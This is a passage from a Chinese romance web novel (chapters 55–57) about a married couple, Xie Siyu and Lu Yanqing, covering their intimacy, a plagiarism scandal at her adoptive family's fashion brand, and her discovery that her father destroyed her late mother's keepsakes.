谢思虞轻轻“嗯”了一声,等陆言卿进入书房才收回视线,继续吃碗里的饺子。 十分钟后,她将碗筷清洗干净放进橱柜里,又修剪蓝色妖姬的枝桠,将它们插到玻璃花瓶里,想到什么解锁手机拍了照片。 永久保存起来。 主卧。 简单整理了行李箱里的衣服,这两天出差换洗下来的衣裙扔进全自动洗衣机。 洗头发,洗澡,从浴室出来,床头柜上电子时钟显示11:35分。 用吹风机吹干头发,谢思虞坐在梳妆镜前护肤,低头看到身上黑色真丝睡裙,涂抹精华的手顿了顿。 脑海里浮现出某些暧昧的画面,耳尖隐隐发烫。 等她涂抹了身体乳躺在床上,卧室的房门被打开,很显然是陆言卿处理完工作回来,谢思虞攥紧被子,也不知道是不是紧张,急忙闭上了眼睛。 陆言卿进入房间,就闻到空气中一股浓郁的橙花香,往梳妆台方向看了眼,唇角噙着淡淡的笑。 放轻脚步来到床边,以为谢思虞睡着了,她便关掉了屋内的照明灯,只剩下床边的落地灯还亮着。 拿睡衣,洗漱,时间太晚她便没有洗头发,而是简单冲凉。 掀开羽绒被躺到床上,一旁的人侧身躺着,陆言卿小心翼翼从后面搂抱着谢思虞。 就在她闭上眼睛准备睡觉时,怀里的人突然动了,谢思虞转过身和她面对面,并伸手回抱着她。 陆言卿哑然失笑,借着微弱轻浅的壁灯,指尖捻起谢思虞脸上的碎发别到耳后:“怎么还没睡?不是让阿虞别等吗?” 这两天谢思虞晚上没有休息好,刚从机场回公寓的路上,她也没有睡着。 所以才让她早点休息。 结果她没睡,一直等着自己。 “有点睡不着。” 谢思虞窝在陆言卿怀里,蹭了蹭她的颈脖,想到稍后要做的事情,脸颊又开始隐隐泛红。 好在屋内光线不亮,卿卿应该看不到? 内心深处天人交战。 最后谢思虞深呼吸一口气,握住陆言卿的手来到腰侧,凑到陆言卿耳畔:“答应了给卿卿亲。” 说话的同时,她手上引导陆言卿拉腰上的蝴蝶结。 而陆言卿还在愕然时,某人已经牵着她的手来到那令她心猿意马的雪峰。 心口一窒。 陆言卿短而促的呼吸了两次,喉咙微动,脑中好似有无数绚烂的烟花炸开,令她心跳紊乱,仅剩的理智也荡然无存。 低头噙住谢思虞的唇瓣,嗓音沙哑至极:“宝贝,你这是想要……我的命?” 说完便撬开某人的贝齿,辗转深入,勾着她的舌尖缠绵,一点点掠夺谢思虞的呼吸。 直到彼此气息交融。 公寓里就连空气都是甜的。 而另一边的谢家,别墅里却人人自危,哪怕已经接近凌晨,也没有佣人敢擅自离开,就怕稍有不慎惹怒主人家。 厨房的两名厨师和李嫂把晚餐热了一遍又一遍,其中三道蔬菜已经不能再吃,唯有重新再炒。 一楼客厅。 周静穿着中式风格的墨绿色连衣裙坐在沙发上,时不时看向玄关,向来游刃有余面不改色的她,今晚脸上都难掩担忧和不安。 别墅外院子,有车灯亮起。 她急忙起身往外走。 确实是谢明远和小女儿回来了,见丈夫板着脸,她蹙眉问:“还是没找到证据证明瑶瑶的清白吗?” 谢知瑶看了眼怒火中烧的父亲,换下高跟鞋就直奔母亲,三言两语解释:“妈,这次抄袭事件就是有人搞我们!我办公室被人安装了监控,肯定有人翻过我的垃圾桶,拿走了那张设计画稿。” 就算有竞争对手在他们公司安插眼线,也不可能第一时间就知道她做了什么,唯一的解释就是有人在她办公室安装了微小型摄像机。 不过前段时间她离开榕城去往T市,办公室里的“证据”也被人轻扫干净了。 周静一听就明白了其中的利害关系,抬眸看向不远处沉默不语的丈夫,轻轻拍了拍女儿的后背以示安抚,来到丈夫面前:“代言人苏琳那边呢,愿意配合我们澄清吗?” 提到这个谢明远就来气。 Elis和苏琳是合作关系,如今也捆绑在一根绳子上,可对方却躲着不出面,要知道Elis深陷舆论,她苏琳也讨不到任何好处的! “别问了!” 谢明远不想说废话,绕开妻子,大步流星往楼梯间方向走,他如果有办法就不会这般心急如焚。 眼下就算知道有人算计Elis又能怎样? 距离去年12月中旬,已经过去了4个多月,期间公司人员调动就有7人,调查需要大量的时间和精力! 等找到那人。 黄花菜都凉了! “妈,爸不会又去找谢思虞吧?” 谢知瑶见父亲身影消失在楼梯拐角处,这才小心询问母亲。 她现在都不敢上网,原来的手机卡也暂时从手机里取出来,今早换了张新卡。 否则她一天什么都不用做,光是接听电话就能累死。 “不管他,你肚子肯定饿坏了吧?我们先吃饭。” 周静眼底闪过冷意,拉着女儿来到餐桌前,吩咐厨房的李婶:“准备开饭。” 这种迫在眉睫的状况下,为了避免更大的损失,有“捷径”可以走,谢明远肯定会找谢思虞。 就是不知道这次——谢思虞会不会“慷慨解囊”了。 注意到女儿微微红肿的眼睛,周静暗自咬牙,她虽然不耻谢明远的做法,可这次事件跟女儿有关。 她还是期望他能说服那人。 至少,先渡过眼前的危机。 谢知瑶其实也心知肚明。 如果这次抄袭事件处理不当,苏琳会强制跟Elis解约,他们是“过错方”会赔偿三倍违约金。 CC品牌那边控诉她抄袭,拿不出有力“证据”,她就要面临一场官司。 最糟糕的局面,一旦被认定抄袭,她会被服装设计师行业唾弃,在这个圈子,她将永远抬不起头。 更别提她的梦想。 “这件事交给你爸处理。” 周静看穿女儿的小心思,拍了下她的手背,耳提面命,“不许私下去找谢思虞!” 没准这件事就有谢思虞的手笔。 毕竟,哪里有如此巧合的事情? 她前不久给谢思虞打电话,说了句模棱两可的话,半个月时间不到,Elis就闹出抄袭风波。 谢知瑶讪讪地扯了扯唇角:“我才不会去求她。” 然而没过两天,她就狠狠打脸。 十分钟后。 李婶依次将菜端上桌,知道谢知瑶不愿意看到她,她们母女用餐期间,是另外一名拥人在餐厅伺候。 00:30分。 李婶将厨房卫生打扫干净,回到地下室的小屋,这里原本是仓库,但自从十多年前她来到谢家,这间屋子就是她在住。 刚推开门她的手机就响了。 听到那头女儿说了什么,李婶死死攥着钥匙,不死心的追问:“你说要赔偿多少钱?” 【300万。】 再次听到这个数字,李婶双腿一软,跌坐在了地上,脸色肉眼可见的速度变得苍白。 她们就是普通人,穷尽一辈子时间也不可能挣到那么多的钱。 次日清晨。 和煦的阳光洒进房间,谢思虞在陆言卿怀里醒来,伸手去拿床头柜上的手机,稍微动了下身体,大腿就酸痛的厉害。 昨晚她被陆言卿逼到床头压着亲,不知何时那人打开了床头的台灯,将她里里外外看了个彻底。 一想到那样的场景,谢思虞脸和脖子变得绯红,恨不得找个缝隙钻进去。 那也太羞人了! 下次她必须“强硬”一点。 不能再由着某人胡来。 可谢思虞又深知自己对陆言卿没有底线,对方提出更“过分”的要求,她依然会宠着她。 依着她。 又羞又恼,谢思虞抓起陆言卿的手,想咬醒她,可终究还是舍不得,亲了亲她的指尖:“卿卿当真是把我吃的死死的。” 她拿她一点办法都没有。 第55章 妻子浑身上下哪里都软 陆言卿在谢思虞去拿手机时便醒了, 迷迷糊糊时感觉到对方抓起了她的手,紧接着有什么柔软的东西落在她指尖。 当耳畔响起那句「卿卿当真是把我吃的死死的」的话,陆言卿茫然地睁开眼睛, 几息后轻笑出声。 还环在谢思虞腰上的手,轻轻挠了挠她小腹处的肌肤,明显感觉到怀里颤栗紧绷的身体, 眼底闪过一抹揶揄。 凑过去吮咬谢思虞的耳垂,故意曲解妻子的意思, 一字一句顿道:“我也很喜欢吃阿虞。” 说的那个“吃”字格外耐人寻味。 谢思虞羞臊地捂着脸,很开又捂住耳朵,把头埋进陆言卿颈窝里, 羞羞答答开口:“卿卿闭嘴, 不许再说了。” 陆言卿瞧见妻子羞红的脸颊和耳朵,收紧双臂将她抱的更紧了些, 乖乖闭上嘴巴,不再说羞人的话。 昨晚她们就闹到很晚,她也将她吃了个够。 睡前她帮谢思虞涂抹了药膏,不知道现在还难受不难受。 “嗯嗯?” 谢思虞疑惑地抬起头,见陆言卿抿着唇,顿时哭笑不得:“可以说了。” 陆言卿手指来到谢思虞大腿根处,眼神清明温柔, 没有半分旖旎,认真又严肃的问:“阿虞还疼吗?如果不舒服就在公寓休息。” 谢思虞听到这话下意识摇头:“不要。”掀开被子坐起身来, “没有很疼。” 顶多就是腿酸。 毕竟她们也不是第一次, 昨晚虽闹的久了些, 但陆言卿还算有分寸,没有特别用力。 手机开机立刻就有电话进来。 谢思虞将滑落肩头的睡裙理了下, 看到来电显示,竟然是谢家别墅的李婶,眼眸里闪过疑惑,第一时间接听:“李婶?您有什么事吗?” 昨晚在车里她把手机关机了,就是不想搭理谢父。 眼下这把火还烧的不够大,还需要再等等。 6:55分。 李婶这么早给她打电话,应该有重要的事吧? 陆言卿注意到谢思虞身上歪歪扭扭的睡裙,腰上的系绳早都松了,露出锁骨处大片雪白的肌肤。 她撑着手臂坐起身,重新帮她把腰上的绳子系好。 【对不起思虞小姐,大清早打扰您,我实在是被逼的走投无路了,能不能请您帮帮忙?】 听筒那头李婶嗓音沙哑,谢思虞抬眸和身侧陆言卿对视一眼,温和道:“您别急,发生什么事情了?” 【是艳艳,她,她昨晚和朋友聚餐,回家路上追尾了一辆……跑车。艳艳晚上没有喝酒的,是对方在路口临时急踩刹车,她才不小心撞了上去。】 几分钟后。 谢思虞大概明白了事情的来龙去脉,李艳,也就是李婶的女儿,她昨晚和外省来榕城旅游的大学室友聚餐,回家途径一个T字路口。 李艳是一名会计,如今在某电子商务公司上班,贷款买的房子靠近郊区,那条路到了晚上就比较冷清。 昨晚有人在那条路上飙车,好巧不巧被李艳给“碰”到了。 对方是千万级别的跑车,哪怕李艳的车买了保险,因为是她“追尾”的缘故,保险公司估计不会理赔,就算能赔偿一部分,李艳也要承担大部分的维修费用。 【保险公司定损员说那辆跑车使用了原厂进口碳纤维套件,维修费用大概需要300万,而艳艳那边……她需要承担275万。】 【这些年我在谢家干活有点存款,但艳艳工作几年的钱都贷款买了房,当然我不是要求思虞小姐帮我们还钱,能不能请您出面……至少让对方宽限一段时间。】 谢思虞明白李婶的意思,她们是想要卖房子凑钱,郊区的房子价格不贵,然而出售却需要时间。 要真遇到“飙车”的豪门小姐或少爷,对方未必好说话。 “李艳追尾的跑车,车主叫什么名字?” 【是榕城郑家的大少爷,郑杨洋。】 谢思虞知道郑家,他们在榕城开的黄金珠宝店就有4家,更别提其他省市。 原本双栖云境西郊店招商时「郑记黄金珠宝」也在他们考虑范围内,但对方选择了另外的商场入驻。 “稍后我会让助理联系,有消息我会通知您,李婶也不要太担心,要注意身体。” 谢思虞挂断电话,点开微信,找到和刘瑶的聊天记录。 这些年她在谢家被周静母女百般刁难,初中那年发生那件事后,周静更是不准佣人给她准备早餐。 是李婶偷偷往她书包里塞小面包和牛奶。 那时候年纪小,谢明远忙着公司的事,家里都是周静做主。 “说”好每周给她和谢知瑶的零花钱,其实只有谢知瑶有。 偶尔到她手里的钱,也会被“好妹妹”抢走。 “李婶……就是上次提醒我们椰汁里加了花生酱的阿姨吗?” 谢思虞通电话的时候,陆言卿就在她身后抱着她,所以刚才她们的对话她零星听到一些。 谢思虞轻轻点头:“嗯,李婶在谢家差不多有16年了,一直恪守本分,兢兢业业,出现这种事她估计也找过谢明远,但他那人……算了,我看能不能先联系郑杨洋。” 谢明远从不会做赔本的买卖,这件事明显吃力不讨好,更别说现在Elis一堆事等着他处理。 陆言卿把人捞进怀里,下巴轻轻搁在谢思虞肩膀上,听到郑杨洋三个字微微挑眉,要是没有记错,这人和钟晚意玩的不错? “阿虞先等等。” 陆言卿握住谢思虞打字的手,掀开枕头找到昨晚被她“丢弃”的手机,“晚意和郑家兄妹关系比较好,我先问问她。” 经过陆言卿提醒,谢思虞恍然想起这人回来没多久,钟晚意叫她们去Blue Note喝酒,那晚在包厢,郑家千金郑雪也在的。 【卿卿?大清早你给我打电话干嘛?】 陆言卿盘腿坐在床上,身上穿着藏青蓝色的真丝睡衣,衬得她肌肤白皙透亮,V字领型设计,或许是睡觉蹭开了一颗纽扣,领口微微敞开。 她三言两语说了昨晚郑杨洋跑车被追尾的事情。 床上跪坐着的谢思虞也在等,她温柔的目光落在陆言卿身上,突然看到对方睡衣领口下方一道淡淡的抓痕,脸颊瞬间变成了酡红色。 好似烫人一般。 她急忙移开视线,无意识攥紧了手机。 昨晚某人把她腿摆成羞人的形状,吃她那里,一想到那种浑身过电一般的颤栗和酥麻感,情动到点时她发出又娇又媚的轻哼声。 心尖儿也跟着抖了抖。 羞臊到无以复加。 掀开被子穿上拖鞋往浴室方向走,想到什么又折回衣帽间,拿了贴身衣物和一条翻领连衣裙。 【昨晚追尾郑哥跑车的女生你们认识?】 陆言卿没注意到谢思虞的异常,重新在床上躺下来:“嗯,阿虞认识的人,对方不是想要抵赖,是一时拿不出那么多。” 其实站在李艳的角度想也能理解,昨晚确实是她“追尾”,哪怕是对方故意刹车,要是换做其他人,她还能挣扎一番。 可对方是郑杨洋,榕城郑家是豪门,估计交警工作人员都要给他几分面子。 李艳无权无势,只是茫茫人海中的普通人,就算打官司也赢不了。 还能如何? 只能赔偿。 【既然都认识,还赔什么钱啊。】 【昨晚的事他们在群里说了,本来就是郑哥狗,他自己猛踩刹车,才导致后车撞上来。】 【主要那辆跑车三天前才送到榕城,他还没显摆够呢,如今跑车就要送到国外维修,他心里有气儿。】 【这事儿不用思虞姐出面,我微信上跟他说一声。】 陆言卿:“行,那麻烦你。算我欠你一个人情。” 钟晚意喜欢玩车,和郑杨洋关系是不错,但想要平息郑大少爷的“怒火”,也需要付出些什么作为交换。 【害,我们之间说这些。】 【没其他事情我先挂了,还困着呢。】 那头钟晚意说完,还打了个哈欠。 陆言卿结束通话才注意到手机所剩电量不多,翻身挪动到床边,在床头柜抽屉里找到充电线。 很快给手机充上电。 关抽屉时注意到里面拆封的指套盒,陆言卿潋滟的眼眸里情意绵绵,之前在网上挑选,她特意看了评论。 果然要亲自实践才知道好不好用。 昨晚阿虞满脸娇羞且满足的模样,如今还刻在她脑海里。 妻子浑身上下哪里都软,因为她而绽放时的唯美画面,光是想想都心神驰往- 上午11点,星海娱乐。 苏琳经纪人纪明舒从副总办公室出来,相比之前脸色没那么凝重了,这两天苏琳被卷入Elis抄袭风波中,她作为品牌代言人,更是首当其冲。 苏琳是目前她手底下最有可能跻身一线的艺人,纪明舒自然上心,今早她接到《荒月》剧组制片人的电话。 一直担心到现在,直到刚见了邹副总。 “纪姐似乎心情很好?” 电梯抵达14层,林遥走了进来,她和纪明舒都是星海三年前高薪聘请的金牌经纪人,一山不容二,私下自然少不了竞争。 纪明舒假装没听出林遥话里的试探,顺着她的话往下说:“确实很好,原本还担心苏琳会被《荒月》那边换下来,结果有资本往剧组砸了两千万,说力挺她。” “你看这事儿闹的,害我白担心一场。” 林遥:“……” 后槽牙都要咬碎了。 第56章 亲昵地碰了碰她的鼻尖 林遥回到办公室, 见苏蔓还在等她,有些烦躁地捏了捏眉心,把手机扔在办公桌上。 苏琳代言的服装品牌闹出抄袭, 网友们说什么的都有,而且公关部那边竟然冷处理。 刚她就是去了公关部,总监杨月一直跟她打太极, 根本没得到什么有用的信息。 “《荒月》电视剧女二号的事情你别想了。” 沙发上。 苏蔓穿着一条黑色带圆点的连衣裙,领口荷叶边, 她柔顺的长发只用一根发带扎着,明艳的脸上画着淡妆,整个人温婉极了。 只不过那眉眼间隐约带着忧愁。 即便是努力隐藏, 也叫人看出她情绪不佳。 “怎会?苏琳绯闻缠身, 网上很多关于她的负面信息,对《荒月》前期宣传肯定有影响吧?” 自从跟邹筱分手后。 苏蔓去江海澜苑邹筱的公寓, 把她所有的私人物品都打包带走,她们交往了三年,险些都要谈婚论嫁了,最后竟分手收场。 不可能不伤心。 在家里颓废了几天,也没有来公司,再加上后天就要飞C市拍戏,她需要调整状态。 因为苏琳代言的服装品牌出事, 她又开始期待《荒月》的女二号。 “我知道你的意思,是有影响, 但有资本往剧组投资2000千万, 唯一的条件就是不能换掉苏琳。” 林遥带苏蔓有3年多, 知道她的能力,也知道她有野心, 哪怕今天站到顶峰,成为影后,遇到喜欢的剧本和角色,苏蔓都要竭尽全力去争,甚至去“抢”! 苏蔓错愕地瞪大眼睛。 一时无法接受这样的结果,也知道林遥没必要骗她,双手紧紧攥着身上的裙摆,不依不饶追问:“真的没有其他办法了吗?” 林遥言简意赅打碎她最后一丝幻想:“没有。” 《荒月》剧组官宣演员之前,苏蔓就费尽心思去找剧组制片人,导演,哪怕她和邹筱是情侣关系,对方都不曾给面子。 抬眸看去,沙发上坐着的人眉眼低垂,无助好似要碎掉一般。 她终究不忍心,出声安慰:“或许是你的形象不符合杨导的预期?也不用太沮丧,这里有档侦探类的综艺,你想参加吗?” 苏蔓轻轻摇头,第二次拒绝。 第一次是当着邹筱的面。 综艺节目她不愿意参加,原因有很多。 林遥见苏蔓拒绝,也不好再说什么,总不能强迫她去录制综艺,毕竟今时不如往日。 而且她瞧出苏蔓和邹副总感情出现了问题,但具体是什么,她也没资格过问。 另一边。 陆氏集团,副总办公室。 谢思虞可以找各种理由躲着谢明远,但他来集团找她,再不想见也要做做样子。 “思虞,苏琳那边怎么说?” 办公桌前,谢明远眉头紧拧,双手交握十分用力,手背上的青色血管清晰可见。 连续两宿没有睡觉,他眼睛里带着血丝,昨晚打不通谢思虞的手机,愣是在书房发了好大的火气。 然而此时此刻,他只能忍。 谢思虞坐在办公椅上,随意交叠着双腿,挂断电话后手指有一下没一下轻轻敲击着屏幕。 她眼神清明,嘴角挂着淡淡的笑:“您别急啊,我是能够联系到苏琳,但人家会不会相信Elis,这又不是我能决定的。” 假装没有看到谢明远心急如焚的目光,端起旁边的陶瓷马克杯,浅浅抿了口里面的洛神花茶。 马克杯是陆言卿前几天网上买的情侣款,反正她出差回来,杯子就放在了她的办公桌上。 她这只杯子是浅粉色的,杯壁上面印有小猫咪的图案。 很可爱。 “这都3天了,Elis每天都要损失几百万,爸如何能不急?” 要不是一筹莫展,谢明远也不会追到陆氏集团来,他怀疑过这件事跟谢思虞有关,可没有证据。 谢思虞不动声色挑眉。 这才哪到哪儿? 损失惨重又跟她没有关系。 看似平静柔和的目光下,藏着晦暗的冷意,她正要开口,办公室的门被人从外面推开。 就算有天大的事情,刘瑶也会叩门,除非——是陆言卿。 她担心自己。 还是忍不住要过来“看看”。 熟悉的身影映入眼帘,谢思虞握紧手里的陶瓷杯,弯了弯好看的眉眼,瞳仁里好似揉碎了的星辰在其中。 明亮皎洁,又温柔似水。 陆言卿知道谢明远来集团,担心他“为难”谢思虞,随手从办公桌上拿了个蓝色文件夹,佯装过来探讨工作。 故作惊讶的目光落在谢明远身上:“谢董?您今天特意过来找阿虞,不会是因为Elis抄袭,抱歉,是疑似抄袭的事情吧?” 谢明远嘴角抽了抽:“让陆总看笑话了。” 陆言卿走到谢思虞跟前,把文件夹放在办公桌上,居高临下看着谢明远,嗓音温润却透着丝丝嘲讽:“还真是啊~” “阿虞虽然是您的养女,都说养育之恩不容易还,但这三年,她替你们Elis解决的麻烦还少吗?” 刻意咬重“麻烦”两个字。 她可不管谢明远越来越黑青的脸色,接着替妻子抱不平:“要是没有猜错,阿虞应该没有Elis的股份?谢董遇到麻烦就来找阿虞帮忙,一次两次还好,这七八九十次,怎么都说不过去吧?” “而且阿虞是陆氏集团的副总,她每天都有看不完的报表和策划案,谢董让她去处理‘工作之余’的事情,是不是应该下班时间再过来呢?” 面对陆言卿的冷言冷语,谢明远一张老脸涨的通红,又羞又臊。 办公桌下的手攥成了拳头,但她说的是实话,一时半会儿他竟说不出半句反驳的话。 最后只能支支吾吾开口:“是我欠缺考量,但这次确实有人陷害Elis,还请陆总看在我们合作多年的份上……施以援手。” 从陆言卿进入办公室后,谢思虞就一直沉默不语,听到她讥讽谢明远,唇角勾起的幅度也越来越大。 卿卿怼人的时候也很可爱。 叮咚。 短信提示音打破了办公室里凝肃的氛围。 谢明远下意识看向谢思虞,希望是苏琳那边愿意配合Elis在网上澄清,结果也确实如他所愿。 当然,这是谢思虞和星海那边做的一场戏,为的就是放松谢明远的戒备心:“苏琳已经在微博上发文,表示愿意相信Elis,但谢董还是要尽快给出证据。” 谢明远顿时松了口气,至少先稳住一方,他再去解决CC的律师函。 站起身冲谢思虞说了几句客套话,也知道再留下就是讨人厌,便匆忙离开了办公室。 原本谢思虞的办公桌上除了一台电脑,两个小摆件,就没有其他多余的东西。 最近多了一盆镜面草,圆滚滚的翠绿叶片惹人喜爱。 谢思虞收回视线,放下马克杯,食指轻轻勾住陆言卿的小拇指,声音轻柔:“其实卿卿不用过来,我也能应付。” 陆言卿转过身背对着办公桌,半弯着腰,目光爱怜,温柔抚摸谢思虞的脸颊:“我不放心。” 谢思虞抬眸撞进陆言卿潋滟的目光中,心上柔软的不成样子:“所以我很开心。” 谢思虞坐的办公椅带有滑轮,陆言卿反手抓住她的指尖,另一只手放在椅子扶手上,连人带椅拉进一些。 俯身低头贴过去亲昵地碰了碰她的鼻尖,当谢思虞跟她坦白这些年在谢家的境遇,陆言卿就明白,她根本不愿意见到谢家的任何人。 有时连虚与委蛇的周旋都不愿意。 “如今的Elis就是表面还能看,内里早都腐朽不堪,最多半年就能将其收购。” 谢思虞错愕地眨眨眼,明白陆言卿的意思,也察觉她不是开玩笑,含笑摇头:“我不要。” 她嫌脏。 “那咱们就不要。” 陆言卿确实是随口一说,不过只要谢思虞表现出一丁点的意愿,她回头肯定会执行。 不过妻子不喜欢。 她就歇了心思。 傍晚6:30分。 陆言卿带谢思虞去私房菜吃饭,特意让老板每道菜减一半的量,如此一来她就能让谢思虞品尝更多的美食。 两人吃过饭又去商场巡店,算散步消食? 回到公寓已经是晚上9点。 客厅。 谢思虞把陆言卿购买的两支向日葵插进玻璃花瓶里,刚整理好花枝的角度,李婶便打电话进来。 陆言卿进屋换好拖鞋,第一件事就是去厨房倒温水喝,喝完后顺便给谢思虞也倒了半杯。 然而当她端着水杯来到客厅,看到对方明显沉下去的脸色。 突然有种不太好的预感。 谢思虞接起电话,李婶一个劲儿跟她道谢,表示她们接到4S的电话,郑家少爷那边不再追究和赔偿。 女儿不用卖房,也能继续安稳上班。 还说一定要邀请她和妻子吃饭。 可李婶说到最后,嗓音愈发沉重。 或许是因为她在谢家帮拥,如果暴露了主人家的谈话内容,她被辞退是肯定的。 所以李婶也是挣扎犹豫了很久很久。 谢思虞听到李婶说的话,眼神瞬间就变了,那是陆言卿从未见过的一面。 妻子如墨一般的瞳仁里浸染了森寒刺骨的冷意,看的她心脏莫名揪了下。 “您确定没有听错?” “谢明远很多年前就把母亲的遗物摔碎了?” 第57章 阿虞,我很生气 【前段时间夫人因为知瑶小姐经常和先生争吵, 我也是无意间听到两句,具体的事情我也不是很清楚。】 “好,谢谢李婶告诉我这件事。” 谢思虞浑浑噩噩挂断电话, 大脑空白了一瞬,眼神暗沉冰冷,如果李婶听到的事情是真的, 那她岂不是被谢明远戏耍欺骗了这么多年? 愤怒,焦躁, 不安,恐慌。 一时所有的情绪将她整个人笼罩,呼吸都变得不顺畅起来。 跌跌撞撞往沙发那边走, 险些撞到茶几, 是陆言卿眼疾手快拉住她的手腕。 千钧一发之际,陆言卿把水杯“啪”的一声搁在茶几上, 快步上前把人捞进怀里,拥着谢思虞来到沙发旁坐下来。 张了张嘴巴,却词穷到不知道该说什么好,只能安抚地亲吻她的鬓角。 等怀里的人稍稍缓和冷静,她才开口:“阿虞你先别急。” “或许李婶听错了呢?要是谢明远真的敢阳奉阴违欺骗你,我一定让他付出代价!” 谢思虞脸色还透着些许苍白,她靠在陆言卿怀里, 眼神晦暗不明,整个人看似还算平静, 可那紧紧攥着的拳头, 还是出卖了她此刻的愤怒。 “不用卿卿。” “我自己来。” 当年被外婆送回谢家, 她也曾期待过,以为父亲是爱她才愿意她认祖归宗。 时间一天天过去, 她在谢家被周静不喜,被谢明远忽视,被谢知瑶欺负,每次她们发生矛盾,周静不问缘由就把她关进地下室。 一天不给她饭吃。 最严重的一次她被谢知瑶关在别墅顶楼,淋雨4个小时,当晚发热到40度,要不是李婶连夜冒雨送她去医院,她怕已经烧成傻子了。 事后谢明远只是口头骂了谢知瑶两句。 就如此轻拿轻放。 渐渐的,她对谢明远死心了。 高三那年她因为谢知瑶的恶作剧,间接导致陆言卿过敏昏厥,差点丢了生命,谢明远害怕被陆家查明真相后报复。 用外婆要挟她,不许她暴露这件事,高考填报志愿,甚至逼迫她选填距离榕城最远的北方,N市。 这些年她愿意帮谢明远“偏袒”Elis,不顾谢二叔的冷嘲热讽,明面上给Elis不错的资源,无非就是因为谢明远手里还攥着母亲的遗物。 可如今一切都是镜中花,水中月。 母亲的遗物拿不回来,将会永远失信于人,她要是泉下有知,肯定会愧疚自责。 “如果事情是真的,我会亲手毁掉他最在意的东西!” 谢思虞强行压下内心的滔天怒火,嗓音清冷,李婶应该没有听错,那天周静打电话给她,估计也是要说这件事。 毕竟也只有母亲的遗物,能牵动她的情绪。 “阿虞想怎么做?” 陆言卿顺着谢思虞的后背,直到她身体没那么紧绷,紧蹙的眉头才慢慢舒缓开来。 谢明远敢这般利用阿虞。 真是卑劣又恶心。 谢思虞深呼吸一口气,冲陆言卿露出淡淡的笑:“正好利用眼下的事。” 如果她一旦确定事情的“真相”。 那谢知瑶就别想摆脱抄袭的帽子了。 但在那之前要把李婶安顿好- 两天后。 因为苏琳发微博称愿意相信Elis,网上关于穿抄袭货的词条也被“清理”。 再者谢明远伪造证据,强行把这件事推到公司实习生身上,将自己女儿摘出来,表示是实习生私自“挪用”CC品牌的刺绣图案。 公司已经严肃处理。 由于该连衣裙还没有进入市场,不用下架,为了平息顾客的怒火,现在推出的解决方案是:全额退款+赠送新品券。 谢明远通过朋友和CC品牌亚太地区的总负责人见面,姿态放的极低,又是赔礼又是道歉,当晚在饭局上,差点酒精中毒被送往医院洗胃。 似乎事情在朝着好的方向发展。 谢知瑶不用被CC品牌方起诉,虽然对不起那位实习生,但他们已经给了她丰厚的补偿。 那笔钱是那姑娘打工一辈子都无法挣到的。 如此一想。 谢知瑶心里那点负罪感荡然无存。 今晚难得放松,好友吴兰欣多次打电话约她出来玩,在家里软磨硬泡了母亲许久,她才同意她出门。 但晚上10前必须回家。 榕城某高档餐厅。 吴兰欣是这家餐厅的VIP会员,一楼大厅的员工们也认识谢知瑶。 见她出现,就立刻有人上前招呼:“谢小姐晚上好,吴小姐在楼上雅间等您,您请跟我来。” 二楼。 谢知瑶沉浸在喜悦中,并没有注意到工作人员眼底的慌乱和不自然,等她进入206雅间,看清楚坐在圆桌前的人,猛地停下脚步。 竟然是谢思虞! “你怎么在这里?” 谢知瑶说完这句话回头,雅间的门已经关上了,隐约听到窸窣声,目光凝肃。 慌乱转身去开门,使劲扭动门把手,却没办法打开。 刚那名工作人员有问题! 她把门给锁了。 心头好似有千万只蚂蚁在爬。 谢知瑶一阵恐慌涌上心头,后背抵着门,拧眉道:“雅间都有监控,谢思虞你到底要干嘛!” 她回榕城快半个月了,就今晚才出门,谢思虞怎会第一时间就知道? 除非她一直找人监视她! 想到这种可能,谢知瑶顿时火冒三丈,正要骂人却想起出门前母亲的提醒,硬生生把怒气压下去。 只要她按兵不动,谢思虞就别想从她嘴里套话。 走到圆桌前,找了个距离某人最远的位置坐下。 “居然没有破口大骂,看样子去一趟T市,还成长了不少。” 谢思虞十分钟前就到了,没有点餐,只要了一壶茉莉花茶。 抬眸扫了眼谢知瑶,眼底露出淡淡的不屑,慢条斯理端起陶瓷杯喝茶,随后补充了句,“恭喜你啊,我的好妹妹。” 大概是被周静警告过,谢知瑶学聪明了。 可那有什么用呢? “陆言卿知道你私下这幅伪善的面孔吗?” 谢知瑶咬咬牙,哪里听不出谢思虞在嘲讽她,不甘示弱怼回去,“要是知道你的真面目,她还会喜欢你?” “这就不劳烦你操心了。” 谢思虞放下陶瓷杯,指尖磨挲杯口,深邃的眼眸里浸染了冷意,突然不想跟谢知瑶多说废话,直接解锁屏幕,给她发了一张照片,“看手机。” 隔着圆桌,谢知瑶对上谢思虞那双冷冽的眸子,怔松几秒,刚才她竟然感觉置身寒冬一般。 周身萦绕着一股说不出的冷意。 “我不看。” 放在腿上的手,松了又紧,紧了又松,最后强撑着说了三个字。 谢思虞不以为然勾唇笑了笑,眸底波澜不兴:“你不是在找当初设计的稿纸?” 谢知瑶闻言浑身血液好似凝固一般,眼睛瞪地圆鼓鼓的。 手忙脚乱从斜挎包里拿出手机,打开微信里谢思虞发给她的图片。 霎那间,整个人宛遭雷劈,大脑直接宕机。 屏幕上图片确确实实是去年12月中旬她画的设计稿纸,右下方还有她随手签的艺术字:瑶。 仔细观察就能发现纸张皱皱巴巴的,因为当时她把这张纸揉成一团扔进了垃圾桶。 一股凉意从脚底只窜而上,谢知瑶眼中满是怒火和不可思议,拍桌而起:“是你!是你在我办公室安装了微小型摄像机,谢思虞你太无耻了,居然监视我!” 谢思虞莞尔一笑:“你可别胡说八道,我只是偶然的机会得到了这张稿纸而已。” 她越是云淡风轻,谢知瑶就越是义愤填膺,攥着手机冲到谢思虞面前,指着她含笑的面容,暴跳如雷:“你还装?我要把这件事告诉爸爸,就是你故意构陷Elis!” “你以为我在乎?” 谢思虞好整以暇抬眸望着谢知瑶,眼神一点一点沉下去,“他把我母亲的遗物都摔碎了,还拿什么要挟我?” “你怎么知道的?” 谢知瑶满脸惊恐,然而这句话说出口,她就反应过来了,抓起桌上的茶壶就摔落在谢思虞脚边,碎掉的瓷片划过她脚踝,渗出丝丝血珠。 愤怒中的谢知瑶并未注意到,然而就算她找回理智也来不及了,结结巴巴找补:“我恼羞成怒说的话……你,你也信?” 谢知瑶满腔怒火顷刻间荡然无存,此时只有无尽的恐惧和害怕。 爸爸要是知道她说漏嘴,绝对不会放过她的! 一想到在T市那段日子,谢知瑶身体控制不住颤抖起来,跌跌撞撞往门口跑。 这次她成功离开了雅间。 走廊上,吴兰欣迎面走过来,看到谢知瑶,一时没察觉她的异样,故意瘪嘴抱怨:“瑶瑶你怎么才来啊,我都等了你好久。” “欣欣,我惹出大祸了——” 